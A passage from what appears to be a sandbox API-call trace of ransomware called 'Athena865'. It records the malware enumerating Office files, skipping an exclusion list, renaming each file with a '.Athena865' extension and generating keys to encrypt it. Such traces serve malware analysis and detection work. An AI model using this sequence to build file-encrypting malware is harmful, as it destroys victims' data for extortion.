Flags=0x8, Size=0x6c) returned 0x540f28 [0139.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.537] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.538] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.538] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0139.541] CloseHandle (hObject=0x154) returned 1 [0139.541] CloseHandle (hObject=0x17c) returned 1 [0139.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.542] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWIZRC.DLL", cAlternateFileName="")) returned 1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".") returned 1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="..") returned 1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="windows") returned -1 [0139.542] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="bootmgr") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="temp") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="pagefile.sys") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="boot") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="ids.txt") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="ntuser.dat") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="perflogs") returned -1 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2="MSBuild") returned -1 [0139.543] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0139.543] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ACWIZRC.DLL" | out: lpString1="ACWIZRC.DLL") returned="ACWIZRC.DLL" [0139.543] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0139.543] lstrlenW (lpString="Athena865") returned 9 [0139.543] lstrcmpiW (lpString1="WIZRC.DLL", lpString2="Athena865") returned 1 [0139.543] lstrlenW (lpString=".dll") returned 4 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".dll") returned 1 [0139.543] lstrlenW (lpString=".lnk") returned 4 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".lnk") returned 1 [0139.543] lstrlenW (lpString=".ini") returned 4 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".ini") returned 1 [0139.543] lstrlenW (lpString=".sys") returned 4 [0139.543] lstrcmpiW (lpString1="ACWIZRC.DLL", lpString2=".sys") returned 1 [0139.543] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0139.543] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.Athena865") returned 69 [0139.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.athena865"), dwFlags=0x1) returned 1 [0139.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.545] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=275856) returned 1 [0139.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.546] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.546] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.546] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.547] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43890, lpName=0x0) returned 0x154 [0139.548] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x43890) returned 0x2bb0000 [0139.557] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.557] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.557] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.558] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0139.561] CloseHandle (hObject=0x154) returned 1 [0139.561] CloseHandle (hObject=0x17c) returned 1 [0139.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.562] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AEC.VSL", cAlternateFileName="")) returned 1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2=".") returned 1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="..") returned 1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="windows") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="bootmgr") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="temp") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="pagefile.sys") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="boot") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="ids.txt") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="ntuser.dat") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="perflogs") returned -1 [0139.562] lstrcmpiW (lpString1="AEC.VSL", lpString2="MSBuild") returned -1 [0139.562] lstrlenW (lpString="AEC.VSL") returned 7 [0139.563] lstrcpyW (in: lpString1=0x241e8a8, lpString2="AEC.VSL" | out: lpString1="AEC.VSL") returned="AEC.VSL" [0139.563] lstrlenW (lpString="AEC.VSL") returned 7 [0139.563] lstrlenW (lpString="Athena865") returned 9 [0139.563] lstrlenW (lpString=".dll") returned 4 [0139.563] lstrcmpiW (lpString1="AEC.VSL", lpString2=".dll") returned 1 [0139.563] lstrlenW (lpString=".lnk") returned 4 [0139.563] lstrcmpiW (lpString1="AEC.VSL", lpString2=".lnk") returned 1 [0139.563] lstrlenW (lpString=".ini") returned 4 [0139.563] lstrcmpiW (lpString1="AEC.VSL", lpString2=".ini") returned 1 [0139.563] lstrlenW (lpString=".sys") returned 4 [0139.563] lstrcmpiW (lpString1="AEC.VSL", lpString2=".sys") returned 1 [0139.563] lstrlenW (lpString="AEC.VSL") returned 7 [0139.563] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.Athena865") returned 65 [0139.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.athena865"), dwFlags=0x1) returned 1 [0139.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=69496) returned 1 [0139.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.566] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.566] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.566] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11280, lpName=0x0) returned 0x154 [0139.568] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11280) returned 0x100000 [0139.571] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.571] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.571] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.572] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.572] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.572] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.573] CloseHandle (hObject=0x154) returned 1 [0139.573] CloseHandle (hObject=0x17c) returned 1 [0139.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.573] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.573] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AECUTILS.VSL", cAlternateFileName="")) returned 1 [0139.573] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".") returned 1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="..") returned 1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="windows") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="bootmgr") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="temp") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="pagefile.sys") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="boot") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="ids.txt") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="ntuser.dat") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="perflogs") returned -1 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2="MSBuild") returned -1 [0139.574] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0139.574] lstrcpyW (in: lpString1=0x241e8a8, lpString2="AECUTILS.VSL" | out: lpString1="AECUTILS.VSL") returned="AECUTILS.VSL" [0139.574] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0139.574] lstrlenW (lpString="Athena865") returned 9 [0139.574] lstrcmpiW (lpString1="UTILS.VSL", lpString2="Athena865") returned 1 [0139.574] lstrlenW (lpString=".dll") returned 4 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".dll") returned 1 [0139.574] lstrlenW (lpString=".lnk") returned 4 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".lnk") returned 1 [0139.574] lstrlenW (lpString=".ini") returned 4 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".ini") returned 1 [0139.574] lstrlenW (lpString=".sys") returned 4 [0139.574] lstrcmpiW (lpString1="AECUTILS.VSL", lpString2=".sys") returned 1 [0139.574] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0139.574] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.Athena865") returned 70 [0139.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.athena865"), dwFlags=0x1) returned 1 [0139.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.584] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=41864) returned 1 [0139.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.584] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.584] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.585] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.585] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.585] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa690, lpName=0x0) returned 0x154 [0139.586] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa690) returned 0x100000 [0139.591] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.592] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.592] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.592] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.592] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.593] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.593] CloseHandle (hObject=0x154) returned 1 [0139.593] CloseHandle (hObject=0x17c) returned 1 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.593] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.594] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ASSET.VRD", cAlternateFileName="")) returned 1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".") returned 1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="..") returned 1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="windows") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="bootmgr") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="temp") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="pagefile.sys") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="boot") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="ids.txt") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="ntuser.dat") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="perflogs") returned -1 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2="MSBuild") returned -1 [0139.594] lstrlenW (lpString="ASSET.VRD") returned 9 [0139.594] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ASSET.VRD" | out: lpString1="ASSET.VRD") returned="ASSET.VRD" [0139.594] lstrlenW (lpString="ASSET.VRD") returned 9 [0139.594] lstrlenW (lpString="Athena865") returned 9 [0139.594] lstrlenW (lpString=".dll") returned 4 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".dll") returned 1 [0139.594] lstrlenW (lpString=".lnk") returned 4 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".lnk") returned 1 [0139.594] lstrlenW (lpString=".ini") returned 4 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".ini") returned 1 [0139.594] lstrlenW (lpString=".sys") returned 4 [0139.594] lstrcmpiW (lpString1="ASSET.VRD", lpString2=".sys") returned 1 [0139.595] lstrlenW (lpString="ASSET.VRD") returned 9 [0139.595] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.Athena865") returned 67 [0139.595] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.athena865"), dwFlags=0x1) returned 1 [0139.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.596] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1694) returned 1 [0139.596] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0139.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.597] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.597] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.597] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.597] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a0, lpName=0x0) returned 0x154 [0139.599] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a0) returned 0x100000 [0139.600] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.600] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.600] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.600] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0139.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0139.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.601] RtlAllocateHeap (HeapHandle=0x4f0000, 